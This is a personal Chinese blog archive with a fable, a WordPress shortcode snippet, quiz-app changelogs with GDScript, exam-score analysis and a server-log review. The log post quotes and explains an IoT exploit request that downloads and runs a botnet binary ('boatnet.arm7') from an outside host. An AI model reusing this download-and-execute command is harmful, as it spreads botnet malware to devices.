月度归档: 2025 年 10 月

  • 火杖&刀戈

    在前往王都的宽阔驿道上,坦纳伯斯伯爵的马车与几位行色匆匆的边陲领主并驾而行。出于搜集见闻的癖好,他饶有兴致地聆听着邻车的讨论。

    召集人是一位名叫奥特朗的贵族,他声名显赫的唯一原因,便是与国王陛下那微薄至近乎象征的血缘关系。

    他召开了一次路边的会议,手持国王的谕令,高声宣布:“诸位!陛下需要一种魔法般的武器,一种能改变战争规则的造物!我们必须通力合作,方能不负圣望。”

    然而,会议也仅止于这声高昂的宣告。奥特朗子爵并未提出任何具体方案,便沉浸在众人对他血统的恭维之中。

    此时,坦纳伯斯注意到其中一位沉默寡言的莱恩纳德领主。他来自一个以边陲贸易闻名的家族,只见他小心翼翼地取出一件奇特的造物:一根镶嵌着复杂金属机括的木管。

    莱恩纳德将其命名为“雷吼”,并解释道,此物能借用药剂与火星之力,于百步之外雷鸣作响,洞穿最坚固的板甲。“诸位,它的力量不在于劈砍,而在于来自远方的审判。

    ”莱恩纳德的眼中闪烁着理性的光芒。可惜,这光芒迅速被同僚们的疑虑所淹没。

    一位枪术大师掂量着“雷吼”,鄙夷道:“莱恩纳德,你被骗了。这不过是根结实些的烧火棍。”

    他尤其鄙夷那个激发机构,“这个钩子,怕是防止脱手的花哨装饰吧?”在一种自以为是的、热烈的讨论中,他们一致决定“完善”它。

    他们认为这“铁头木棍”缺乏致命锋锐,于是找来铁匠,将一柄寒光闪闪的阔刃战刀,牢牢绑在了枪口之上。

    “完美!”他们赞叹道,“这才是一件真正的武器!既有铁棍的坚固,又有战刀的锋锐,远近兼备!”坦纳伯斯伯爵在一旁默默看着,将莱恩纳德脸上那混合着绝望与愤怒的隐忍神情,悉数记录在了他的羊皮纸上。

    数日后,国王大会。

    当这个顶着战刀的“改良版雷吼”被呈上时,国王仅试用了一下,便对它不伦不类的形态和糟糕的实战性能皱起了眉头,随手将其搁置一旁。霎时间,失败的阴云笼罩了那个小组。

    坦纳伯斯伯爵清晰地听见,方才还一团和气的领主们瞬间开始了相互指责。

    “我早就说过,这个古怪的管子不靠谱!”枪术大师首先发难。

    “是绑刀的方式不对!影响了平衡!”

    另一位急忙推诿。而那位血统高贵的奥特朗子爵,则高声抱怨:“是你们的技艺玷污了我伟大的构想!”

    在一片喧哗的推卸声中,无人再看一眼那被绑上战刀的“雷吼”,也无人记得莱恩纳德最初的解释。

    只有莱恩纳德本人,面如死灰,他沉默地望了一眼那件被亵渎的造物,最终悻然转身,独自离开了喧闹的会场。。

    坦纳伯斯伯爵的结语

    据沼泽女巫解读内脏卦象所言:世间绝大多数合作,其本质并非为了创造新物,而是为了在失败时,能公平地分摊诅咒。血统与名声是召唤合作的咒语,而旧时代的经验,则是他们唯一听得懂的语言。那个试图引入未来之人,注定要独自品尝全部的愤怒,以及被整个过去所背弃的孤独

  • wordpress 简码-文字展示

    AI真的太好用了你知道吗?

    源码


    <?php
    // 在主题的functions.php文件中添加以下代码
    
    // 注册所有文字效果简码
    function register_text_effects_shortcodes() {
        // 渐变色文字 - 支持嵌套版本
        add_shortcode('gradient_text_n', 'gradient_text_nested_shortcode');
        
        // 打字机效果 - 支持嵌套版本
        add_shortcode('typewriter_text_n', 'typewriter_text_nested_shortcode');
        
        // 文字阴影效果 - 支持嵌套版本
        add_shortcode('shadow_text_n', 'shadow_text_nested_shortcode');
        
        // 霓虹灯文字 - 支持嵌套版本
        add_shortcode('neon_text_n', 'neon_text_nested_shortcode');
        
        // 3D立体文字 - 支持嵌套版本
        add_shortcode('text_3d_n', 'text_3d_nested_shortcode');
        
        // 文字高亮效果 - 支持嵌套版本
        add_shortcode('highlight_text_n', 'highlight_text_nested_shortcode');
    }
    add_action('init', 'register_text_effects_shortcodes');
    
    // 渐变色文字简码(嵌套版本)
    function gradient_text_nested_shortcode($atts, $content = null) {
        $atts = shortcode_atts(array(
            'color1' => '#ff0000',
            'color2' => '#0000ff',
            'size' => '24px',
            'align' => 'center'
        ), $atts);
        
        $id = 'gradient-text-' . uniqid();
        
        $output = '<style>
            #' . $id . ' {
                font-size: ' . $atts['size'] . ';
                font-weight: bold;
                background: linear-gradient(45deg, ' . $atts['color1'] . ', ' . $atts['color2'] . ');
                -webkit-background-clip: text;
                -webkit-text-fill-color: transparent;
                text-align: ' . $atts['align'] . ';
                margin: 10px 0;
                display: inline-block;
            }
        </style>';
        
        $output .= '<span id="' . $id . '">' . do_shortcode($content) . '</span>';
        
        return $output;
    }
    
    // 打字机效果简码(嵌套版本)
    function typewriter_text_nested_shortcode($atts, $content = null) {
        $atts = shortcode_atts(array(
            'color' => '#333',
            'size' => '24px',
            'cursor' => 'true'
        ), $atts);
        
        $id = 'typewriter-' . uniqid();
        
        $output = '<style>
            #' . $id . ' {
                font-size: ' . $atts['size'] . ';
                color: ' . $atts['color'] . ';
                font-family: monospace;
                overflow: hidden;
                border-right: ' . ($atts['cursor'] == 'true' ? '3px solid ' . $atts['color'] : 'none') . ';
                white-space: nowrap;
                margin: 0;
                letter-spacing: 2px;
                animation: typing 3.5s steps(40, end), blink-caret .75s step-end infinite;
                display: inline-block;
            }
            
            @keyframes typing {
                from { width: 0 }
                to { width: 100% }
            }
            
            @keyframes blink-caret {
                from, to { border-color: transparent }
                50% { border-color: ' . $atts['color'] . '; }
            }
        </style>';
        
        $output .= '<span id="' . $id . '">' . do_shortcode($content) . '</span>';
        
        return $output;
    }
    
    // 文字阴影效果简码(嵌套版本)
    function shadow_text_nested_shortcode($atts, $content = null) {
        $atts = shortcode_atts(array(
            'color' => '#333',
            'shadow_color' => '#aaa',
            'size' => '32px',
            'blur' => '10px'
        ), $atts);
        
        $id = 'shadow-text-' . uniqid();
        
        $output = '<style>
            #' . $id . ' {
                font-size: ' . $atts['size'] . ';
                color: ' . $atts['color'] . ';
                text-shadow: 2px 2px ' . $atts['blur'] . ' ' . $atts['shadow_color'] . ';
                font-weight: bold;
                margin: 0;
                display: inline-block;
            }
        </style>';
        
        $output .= '<span id="' . $id . '">' . do_shortcode($content) . '</span>';
        
        return $output;
    }
    
    // 霓虹灯文字简码(嵌套版本)
    function neon_text_nested_shortcode($atts, $content = null) {
        $atts = shortcode_atts(array(
            'color' => '#fff',
            'glow_color' => '#0ff',
            'size' => '40px'
        ), $atts);
        
        $id = 'neon-text-' . uniqid();
        
        $output = '<style>
            #' . $id . ' {
                font-size: ' . $atts['size'] . ';
                color: ' . $atts['color'] . ';
                text-shadow: 0 0 5px ' . $atts['color'] . ', 0 0 10px ' . $atts['color'] . ', 0 0 20px ' . $atts['glow_color'] . ', 0 0 40px ' . $atts['glow_color'] . ', 0 0 80px ' . $atts['glow_color'] . ';
                font-weight: bold;
                margin: 0;
                display: inline-block;
                animation: neon-flicker 2s infinite alternate;
            }
            
            @keyframes neon-flicker {
                0%, 18%, 22%, 25%, 53%, 57%, 100% {
                    text-shadow: 0 0 5px ' . $atts['color'] . ', 0 0 10px ' . $atts['color'] . ', 0 0 20px ' . $atts['glow_color'] . ', 0 0 40px ' . $atts['glow_color'] . ', 0 0 80px ' . $atts['glow_color'] . ';
                }
                20%, 24%, 55% {
                    text-shadow: none;
                }
            }
        </style>';
        
        $output .= '<span id="' . $id . '">' . do_shortcode($content) . '</span>';
        
        return $output;
    }
    
    // 3D立体文字简码(嵌套版本)
    function text_3d_nested_shortcode($atts, $content = null) {
        $atts = shortcode_atts(array(
            'color' => '#3498db',
            'depth' => '5',
            'size' => '36px'
        ), $atts);
        
        $id = 'text-3d-' . uniqid();
        
        $output = '<style>
            #' . $id . ' {
                font-size: ' . $atts['size'] . ';
                color: ' . $atts['color'] . ';
                font-weight: bold;
                text-transform: uppercase;
                position: relative;
                margin: 0;
                display: inline-block;
                letter-spacing: 2px;
                transform: perspective(500px) rotateX(25deg);
            }
            
            #' . $id . ':before {
                content: "' . esc_attr(do_shortcode($content)) . '";
                position: absolute;
                top: ' . $atts['depth'] . 'px;
                left: 0;
                color: rgba(0,0,0,0.2);
                z-index: -1;
                transform: skewX(45deg) translateZ(-10px);
                filter: blur(2px);
                width: 100%;
            }
        </style>';
        
        $output .= '<span id="' . $id . '">' . do_shortcode($content) . '</span>';
        
        return $output;
    }
    
    // 文字高亮效果简码(嵌套版本)
    function highlight_text_nested_shortcode($atts, $content = null) {
        $atts = shortcode_atts(array(
            'color' => '#ffeb3b',
            'text_color' => '#000',
            'padding' => '5px 10px'
        ), $atts);
        
        $id = 'highlight-text-' . uniqid();
        
        $output = '<style>
            #' . $id . ' {
                background-color: ' . $atts['color'] . ';
                color: ' . $atts['text_color'] . ';
                padding: ' . $atts['padding'] . ';
                border-radius: 4px;
                display: inline-block;
                font-weight: bold;
                position: relative;
                overflow: hidden;
            }
            
            #' . $id . ':after {
                content: "";
                position: absolute;
                top: 0;
                left: -100%;
                width: 100%;
                height: 100%;
                background: linear-gradient(90deg, transparent, rgba(255,255,255,0.4), transparent);
                animation: shine 3s infinite;
            }
            
            @keyframes shine {
                0% { left: -100%; }
                100% { left: 100%; }
            }
        </style>';
        
        $output .= '<span id="' . $id . '">' . do_shortcode($content) . '</span>';
        
        return $output;
    }
    PHP

    使用指南


    WordPress文字效果演示

    WordPress文字效果简码演示

    基本效果展示

    渐变色文字

    这是渐变色文字效果
    [gradient_text_n color1=”#ff0000″ color2=”#0000ff”]这是渐变色文字效果[/gradient_text_n]

    打字机效果

    这是打字机效果文字
    [typewriter_text_n]这是打字机效果文字[/typewriter_text_n]

    霓虹灯效果

    霓虹灯文字
    [neon_text_n color=”#fff” glow_color=”#0ff”]霓虹灯文字[/neon_text_n]

    嵌套效果示例

    渐变色 + 高亮嵌套

    这是渐变色文字,里面包含高亮效果
    [gradient_text_n color1=”#ff0000″ color2=”#0000ff”]这是渐变色文字,里面包含[highlight_text_n]高亮效果[/highlight_text_n][/gradient_text_n]

    阴影 + 打字机嵌套

    阴影文字中的打字机效果
    [shadow_text_n shadow_color=”#aaa”]阴影文字中的[typewriter_text_n]打字机效果[/typewriter_text_n][/shadow_text_n]

    多重嵌套效果

    渐变色中的霓虹灯高亮效果
    [gradient_text_n color1=”#ff0000″ color2=”#0000ff”]渐变色中的[neon_text_n]霓虹灯[/neon_text_n]和[highlight_text_n]高亮[/highlight_text_n]效果[/gradient_text_n]

    使用说明

    • 将PHP代码添加到主题的functions.php文件中
    • 在文章或页面中使用相应的简码
    • 所有嵌套版本简码名称以”_n”结尾
    • 支持任意层次的嵌套组合
    • 每个效果都有可自定义的参数
  • 个人题库-更新日志

    “All my friends are toxic”

    现在可以直接从下方输入栏输入答案,不用一次次点击选项了。
    新增的用户界面也是一个摆设而已,但请你记住你上册登录时用的名字。
    优化了部分代码。

    更新简述 V2.01.6.4

    • 兼容了含图片选择题
    • 更新了选择题输入逻辑
      现在可以从下方直接输入回答
    • 添加了一个没用的登录界面
    • 优化了部分代码
    • #已知BUG
      移动版无法兼容图片加载

    未来更新目标

    V2.01.6.5

    更新随机选择下连续选择题的支持

    V2.01.7

    可以通过服务器空中下载最新题库
    题库加密处理

    我很懒的

    All happy families are alike; each unhappy family is unhappy in its own way.

    所有幸福的家庭都十分相似,而每个不幸的家庭各有各自的不幸。

    —— 《安娜·卡列尼娜》列夫·托尔斯泰

    源码


    func pic_show(options_text):
    	var IMG_NODE = $Label_list/IMG
    	var start_index = options_text.find("img")  # 找到 "img" 的起始位置
    	if start_index != -1:
    		var IMGname = options_text.substr(start_index+3).strip_edges()  # 从img开始截取并去除空白
    		#print(IMGname)  # 输出
    		var IMG_path = exe_get_IMG()
    		IMG_path = IMG_path.path_join(IMGname)
    		if not FileAccess.file_exists(IMG_path):
    			print("文件不存在: ", IMG_path)
    			return null
    		# 直接加载纹理
    		var image = Image.new()
    		var error = image.load(IMG_path)
    		if image.get_width()/image.get_height() <0.95:
    			# 旋转90度
    			image.rotate_90(CLOCKWISE)  # 或者使用 COUNTERCLOCKWISE 取决于需求
    		texture = ImageTexture.new()
    		texture.set_image(image)
    		
    		if not texture:
    			print("无法加载纹理: ", IMG_path)
    			return
    		$Label_list/IMG/IMG.texture = texture
    		IMG_NODE.visible = true
    		IMG_path = exe_get_IMG()
    		#依旧屎山挪用,找到标注的文件位置。然后进行调取,新建一个图片显示器。
    GDScript

  • 专升本分析

    专升本


    以下解读仅属于我个人观点,肯定比不过专升本机构的专业分析,仁者见仁智者见智,我也最多是抛砖引玉,希望你们有更好的观点和解读跟我讨论。授人以鱼不如授人以渔,右边连接可以跳转至官方链接。

    辽宁招生考试之窗

    2025专升本改革后由改为分大类进行志愿填报,相较于2024年:
    总体缩招:2025年护理学总招生计划比2024年减少了581人,降幅约18%。
    公办名额急剧萎缩:这是最核心的变化。公办院校名额从2036人锐减至737人,减少了近三分之二。
    锦州医科大学辽宁中医药大学这两所重要的公办院校在2025年计划中停止了护理学专升本招生。
    民办成为主力:民办院校招生名额大幅增加,承担了超过70%的招生任务。其中新增的辽宁医药学院一所
    学校就招生1800人,成为绝对主力。
    “公缩民扩”趋势明显:这一减一增,清晰地表明了辽宁省专升本招生计划在向民办院校倾斜,这对追求低成本、高质量公办教育的考生来说,竞争将更加激烈。

    一、 基础数据概览
    总考生人数:约 3876人(是所有专业组中人数第二多的组别,仅次于管理组)
    最高分:679分
    最低分:206分
    分数分布范围极广,跨度达473分,说明考生基础差异巨大。
    二、 分数段分布与竞争格局
    为了更直观地理解,我们可以将考生划分为四个梯队:

    竞争梯队分数段累计人数累计占比竞争分析
    第一梯队(高分核心区)500分以上约1057人前27.3%竞争白热化。此区间考生是冲击优质公办本科(如中国医科大学、锦州医科大学等)的主力军。分数密度大,每1分都可能影响最终录取院校层次。
    第二梯队(中等竞争区)400-499分约1190人累计至58.0%关键争夺区。此分数段考生处于公办院校末尾和优质民办院校头部的位置。志愿填报策略至关重要,需要精准定位。
    第三梯队(过线机会区)300-399分约946人累计至82.4%压力适中。这个区间的考生主要目标是民办本科院校。只要过线,有较大机会被录取,但需要关注学费和院校地理位置。
    第四梯队(低分风险区)299分以下约683人后17.6%存在落榜风险。虽然最低分数线为206分,但此分数段考生数量依然庞大,如果招生计划紧张,他们将处于不利地位。

    核心发现:


    • “两头小,中间大”:护理组的考生主体集中在300-500分这个广阔的区间内(累计约2136人,占总人数的55%),这是竞争最激烈、最焦灼的地带。
      高分段集中:前27%的考生分数都在500分以上,说明头部竞争异常激烈。想要考入一流的医学院校,需要极高的分数。
      低分考生基数不容忽视:尽管最低分很低,但300分以下的考生仍有近700人,他们需要为保住录取资格而战。
      三、 核心竞争指标解读
      “一分一段”密集区:
    • 高分段:在550分左右,每1分通常聚集着15-25名考生。例如,从数据看,某一分可能对应20人,下一分对应22人,竞争呈“锯齿状”上升。
      中分段:在450分左右,每1分聚集的考生人数更多,可能达到25-35人。这是决定能否考上公办院校的关键分数段。
      关键分数线与位次参考:
    • 500分:约排在1057名。这是冲击优质公办院校的“入场券”。
      450分:约排在1900名。处于公办与民办院校录取的“分水岭”。
      400分:约排在2650名。在这个位次以上,选择较好民办院校的机会较大。
      350分:约排在3250名。在这个位次以上,有较大概率被民办院校录取。

    个人见解:


    现在处于大二上,专升本的分水岭,也是人生的分水岭。机构说的没错,2025年专升本改革后公办名额大幅跳水,在未来不确定的情况下确实需要一个人引领着我们过河,虽然辽宁专升本即使是往届生也能参加但是工作了真的有时间吗?这件事要趁早。而且学习是件磨人的事情,没有坚强的意志力根本坚持不下来,所以需要一个有学习氛围的环境。大三我也不清楚是边实习边自行升本还是其他,走一步看一步吧,大家都是摸着石头过河。
    希望我的见解能有助于你们更好的选择自己的未来!

    每一个看似微不足道的决定,每一个全力以赴的瞬间,都在静悄悄地改变着你命运的走向。

    Freedom is nothing but a chance to be better.

    自由不过是一个变得更好的机会。

    —— 加缪

    循此苦旅,以抵繁星。

    我们顶峰相见

  • 个人题库分享

    食用指南


    这是主页,这些是已经实现/未来会更新的内容。
    开始/错题本:进入选择题库阶段 错题本进入的是错题文件夹
    录入:暂不可用(尚未更新完)
    检查完整性&收藏夹:暂未更新
    设置:隐私协议和背景设置 以后还会更新关于字体和颜色的主题管理

    点击左下角查看历史记录即可查看最近的历史记录(具体内容可查看下方图片)
    现在功能有限,不能单独删除,只能删除全部。
    题库选择界面左侧按钮为答题设置:
    随机顺序:随机顺序
    计时器:进入答题界面右上角有个计时器
    错题记录:本次做错的题目自动计入错题本文件夹
    点击右侧文本即可进入选定题库

    答题界面展示
    点击选项进行选择,后面会更新根据输入(键盘)进行快捷选择
    最近兼容了简答题,点击下方即可输入答案,详情见之前更新日志
    右上角会显示实时时间和计时器(如果开启)
    左上角会统计本次答题的基础信息:
    题库标签,答题进度,正确率等。

    自定义设置


    自定义背景设置:
    可以设置导入的背景以及更改现在已有的背景显示(水平翻转/关闭)

    程序第一次启动后会自动创建几个新的空文件夹
    其中自定义背景文件需要放入background文件夹
    (仅支持常见图片格式)
    bank文件夹下为自行导入题库(已禁用)
    export文件夹为导出题库位置(暂未更新)
    history文件夹为历史记录文件夹
    mistake_note为错题本文件夹

    资源下载


    “我们为代码负责,您为点击负责。”

    Think first.

    源码查看:
    GitHub

  • 个人题库-更新日志

    这是关于填空题的更新展示,使用的是简单的判断公式,如果输入和文本中已有的文本,且长度和答案相似则视为正确。这个BUG无伤大雅,懒得修了。

    更新简述 V2.01.6.2

    更新了简答题和填空题的兼容
    优化了部分代码

    未来更新目标

    V2.01.6.5

    更新对B型(同一选项不同题干的连续型选择题)以及含图题目

    V2.01.7

    可以通过服务器空中下载最新题库
    题库加密处理

    我很懒的

    《浮士德》——歌德

    “要每天每日去开拓生活和自由,然后才能作自由与生活的享受。”

  • 服务器日志记录

    开了一段时间服务器了 没装cloudfare 每天都能看好多的日志
    下面是几个我遇到比较有趣的

    僵尸大军

    121.29.178.2X - - [04/Oct/2025:::06 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
    58.212.237.24X - - [04/Oct/2025:::13 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
    111.113.88.25X - - [04/Oct/2025:::08 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
    121.29.178.13X - - [04/Oct/2025:::20 +0800] "GET / HTTP/1.1" 200 59060 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) 
    Nginx

    来自各个IP段的可怜的僵尸网络过境我的主页 但是我主页并没有什么东西唔

    🛒 自动化漏洞扫描

    • 行为: 2秒内尝试20+种不同系统的管理界面
    • 扫描目标:
    • WordPress插件 (6种)
    • 数据库管理 (phpMyAdmin)
    • 微服务系统 (Nacos)
    • 企业系统 (用友CWbase)
    • 状态: 97%返回404,完美阻断

    学习点: 现代扫描器会系统性探测所有常见服务路径

    有意思的爬虫

    92.119.36.14X - - [04/Oct/2025:00::00 +0800] "POST / HTTP/1.1" 200 12077 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
    92.119.36.11X - - [04/Oct/2025:00::01 +0800] "POST / HTTP/1.1" 200 12077 "-" "python-requests/2.32.3"
    92.119.36.10X - - [04/Oct/2025:00::02 +0800] "GET /?%3Cplay%3Ewithme%3C/%3E HTTP/1.1" 200 12077 "-" "python-requests/2.32.3"
    92.119.36.15X - - [04/Oct/2025:00::03 +0800] "POST / HTTP/1.1" 200 12077 "-" "python-requests/2.32.3"
    Nginx

    666 <play>withme</>

    一些互联网企业

    Palo Alto Networks(派拓网络)的官方安全扫描器

    <br>62.216.149.18X - - [05/Oct/2025:::43 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 138 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"<br>205.210.31.X - - [05/Oct/2025::29 +0800] "GET / HTTP/1.1" 301 5 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"<br>205.210.31.X - - [05/Oct/2025::29 +0800] "GET / HTTP/1.1" 200 12077 "http://--我的网址不给你们看--/" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"<br><br>
    Nginx
    • 行为: 访问首页进行安全评估
    • 特色: User-Agent中直接表明身份并提供文档链接
    • 状态: 200 OK – 正常响应

    “Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity”

    学习点: 顶级安全公司的扫描是透明、合规的互联网普查

    诺基亚的扫描器

    216.180.246.18X - - [04/Oct/2025::56 +0800] "GET / HTTP/1.1" 200 12077 "-" "'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)'"
    216.180.246.18X - - [04/Oct/2025::33 +0800] "GET /favicon.ico HTTP/1.1" 404 138 "-" "'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)'
    Nginx

    可恶的攻击者

    物联网漏洞攻击者

    144.172.100.17X - - [04/Oct/2025::04 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77..50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20tbk HTTP/1.1" 404 138 "-" "Mozilla/5.0"
    Nginx

    攻击流程

    • 步骤1: “cd /tmp # 进入临时目录”,
    • 步骤2: “rm boatnet.arm7 # 删除旧版本(如果存在)”,
    • 步骤3: “wget http://103.77.—.50/hiddenbin/boatnet.arm7 # 下载恶意软件”,
    • 步骤4: “chmod 777 * # 给所有文件执行权限”,
    • 步骤5: “./boatnet.arm7 tbk # 执行僵尸网络程序”
    **学习点**: 物联网设备是僵尸网络的重要目标,保持系统更新很重要

    执着的攻击者

    7.60.141.15X - - [04/Oct/2025::59 +0800] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 138 "-" "-"
    Nginx

    这个攻击者已经尝试用LUCI漏洞攻击两次了 我真的不是物联网设备

    其他漏洞攻击

    wordpress漏洞 .git漏洞 后门漏洞 XML漏洞 还有好多好多... 每天这种经典漏洞攻击不下百次唔
    Nginx

    小计

    每天能看到我的网站人来人往感觉挺不错的 虽然不是正常的访问者 感觉每天看日志我都能识别他们要干嘛了 也算是一种学习吧

  • 个人题库-更新日志 RegEx

    V2.01.6 2025-10-03更新:错题本更新,现在打开错题记录开关本次错误题目会在答题结束后计入错题题库存储在根目录mistake_note文件夹下

    	for problem in json_array:
    		var problem_id = problem["id"]
    		# 跳过占位符题目
    		if "占位符" in problem["question"]:
    			if not header_added:
    				# 添加文件头信息
    				var header_problem = problem.duplicate()
    				header_problem["question"] = "错题集合 - 源自: " + file_name_ + " - 导出时间: " + time() 
    				mistake_collection.append(header_problem)
    				header_added = true
    			continue
    		
    		# 如果是错题,添加到集合中
    		if problem_id in mistakes:
    			var mistake_problem = problem.duplicate()
    			# 添加错题次数信息
    			if mistake_count_dict.has(problem_id):
    				mistake_problem["mistake_count"] = mistake_count_dict[problem_id]
    			else:
    				mistake_problem["mistake_count"] = 1
    			mistake_collection.append(mistake_problem)
    	
    	if mistake_collection.size() <= 1:  # 只有文件头,没有实际错题
    		return
    	
    	# 生成文件名:原文件名_年月日_时分.json
    	var time_dict = Time.get_datetime_dict_from_system(false)
    	var filename_suffix = "%04d%02d%02d_%02d%02d" % [
    		time_dict["year"], time_dict["month"], time_dict["day"],
    		time_dict["hour"], time_dict["minute"]
    	]
    	
    	var mistake_filename = file_name_ + "_mistakes_" + filename_suffix + ".json"
    	var mistake_file_path = exe_get_mistake_note_file().path_join(mistake_filename)
    	
    	# 保存错题集合文件
    	var json_string = JSON.stringify(mistake_collection, "\t")
    	var file = FileAccess.open(mistake_file_path, FileAccess.WRITE)
    	if file:
    		file.store_string(json_string)
    		file.close()
    		print("错题集合已导出: ", mistake_file_path)
    		print("包含错题数量: ", mistake_collection.size() - 1)  # 减去文件头
    	else:
    		print("错题集合导出失败: ", mistake_file_path)
    GDScript

    其中占位符部分记录本次做题信息,包括校验码,防止恶意的题库泄露。

    if is_mistake_mode:
    			# 匹配格式:原文件名_mistakes_年月日_时分
    			var regex = RegEx.new()
    			regex.compile(".*_mistakes_\\d{8}_\\d{4}$")
    			should_show = regex.search(filename) != null
    		# 题库模式:不显示包含日期格式的文件
    		else:
    			# 排除包含日期格式的文件
    			var regex = RegEx.new()
    			regex.compile(".*_mistakes_\\d{8}_\\d{4}$")
    			should_show = regex.search(filename) == null
    GDScript

    RegEX 正则表达式的使用

    这个正则表达式的含义:

    • .* – 匹配任意字符(除了换行符)0次或多次
    • _mistakes_ – 匹配固定的文本 “mistakes
    • \\d{8} – 匹配8个数字(年月日:20231225)
    • _ – 匹配下划线
    • \\d{4} – 匹配4个数字(时分:0930)
    • $ – 匹配字符串的结尾

    所以这个正则表达式匹配的是:任意文本 + “mistakes” + 8位数字 + “_” + 4位数字 的文件名格式。

    常用的正则表达式符号:

    符号含义例子
    .匹配任意单个字符a.c 匹配 “abc”, “a c”, “a-c”
    *前一个字符0次或多次ab*c 匹配 “ac”, “abc”, “abbc”
    +前一个字符1次或多次ab+c 匹配 “abc”, “abbc”(不匹配”ac”)
    ?前一个字符0次或1次ab?c 匹配 “ac”, “abc”
    \d匹配数字\d+ 匹配 “123”, “45”
    \w匹配字母、数字、下划线\w+ 匹配 “hello”, “abc123”
    []匹配括号内的任意字符[abc] 匹配 “a”, “b”, “c”
    ^匹配字符串开头^Hello 匹配以”Hello”开头的字符串
    $匹配字符串结尾world$ 匹配以”world”结尾的字符串
    {n}匹配前一个字符n次\d{4} 匹配4位数字

    使用正则表达式 示例:

    # 1. 创建RegEx对象
    var regex = RegEx.new()
    
    # 2. 编译正则表达式模式
    regex.compile("你的模式")
    
    # 3. 使用它来搜索或匹配
    var result = regex.search("要搜索的文本")
    
    # 检查是否匹配成功
    if result:
        print("找到匹配!")
        print("匹配的内容:", result.get_string())
    else:
        print("没有找到匹配")

    使用了正则表达式简化了代码

    更新内容:

    使用了新的变量让原有题库选择界面兼容了错题本,简化了软件逻辑和页面用量。
    添加了 线下与线上两者验证方式,防止软件的随意盗用甚至是倒卖
    优化了设置细节,读取外部文件不再由Debug模式统一管理而是不同的_Host进行管理。使必要部分可以读取和修改外部文件。
    购买了正版验证配套验证服务。

    已知的BUG

    安卓版只能读取封装文件,使得不能进行做题历史记录和错题自动整理以及随意的背景更换。
    安卓版不支持HTTP协议传输,导致只能进行封装的线下验证。
    暂不支持IOS

    计划中的更新

    V2.01.X

    推出收藏夹模块
    兼容B型选择题、含图题目、填空题。

    V2.0X.Y

    社区功能
    考试模式